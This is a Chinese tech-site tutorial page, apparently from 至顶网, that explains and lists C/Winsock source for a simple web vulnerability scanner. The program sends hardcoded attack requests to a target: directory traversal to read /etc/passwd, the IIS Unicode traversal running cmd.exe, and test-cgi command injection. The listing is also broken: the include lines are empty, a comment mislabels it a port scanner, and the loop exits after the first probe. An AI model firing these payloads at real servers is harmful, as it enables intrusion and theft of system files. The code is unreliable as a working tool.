科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道编写漏洞扫描器探查远程

编写漏洞扫描器探查远程

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口。
  • 评论
  • 分享微博
  • 分享邮件

  一、漏洞扫描器基本原理:  

    编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。

  二、简单的漏洞扫描源代码:

  /********************************************/

  /* 端口扫描器 源代码 */

  /* CgiScanner.cpp */

  /********************************************/

  #include

  #include

  #include

  int main(int argc,char *argv[])

  {

  if(argc!=2){

  printf("Useage : scan [IP address]\n");

  return(1);

  }

  struct sockaddr_in blah;

  struct hostent *he;

  WSADATA wsaData;

  int i;

  WORD wVersionRequested;

  SOCKET sock;

  char buff[1024];

  char *ex[10];

  ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";

  ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";

  ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";

  ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";

  ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";

  ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";

  char *fmsg="HTTP/1.1 200 OK";

  wVersionRequested = MAKEWORD( 1, 1 );

  if (WSAStartup(wVersionRequested , &wsaData)){

  printf("Winsock Initialization failed.\n");

  exit(1);

  }

  if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){

  printf("Can not create socket.\n");

  exit(1);

  }

  sock = socket(AF_INET,SOCK_STREAM,0);

  blah.sin_family = AF_INET;

  blah.sin_port = htons(80);

  blah.sin_addr.s_addr= inet_addr(argv[1]);

  if ((he=gethostbyname(argv[1]))!=NULL){

  memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);

  }

  else{

  if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){

  WSACleanup();

  exit(1);

  }

  }

  for (i=1 ;i<7; i++) {

  if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){

  send(sock,ex[i],strlen(ex[i]),0);

  recv(sock,buff,sizeof(buff),0);

  if(strstr(buff,fmsg)!=NULL){

  printf("\nFound :%s\n", ex[i]);

  }

  }

  closesocket(sock);

  WSACleanup();

  return(1);

  }

  }

  这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:

  1、连接目标主机SERVER;

  2、向目标主机发送GET请求;

  3、接收目标返回数据;

  4、根据返回数据判断文件是否存在。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章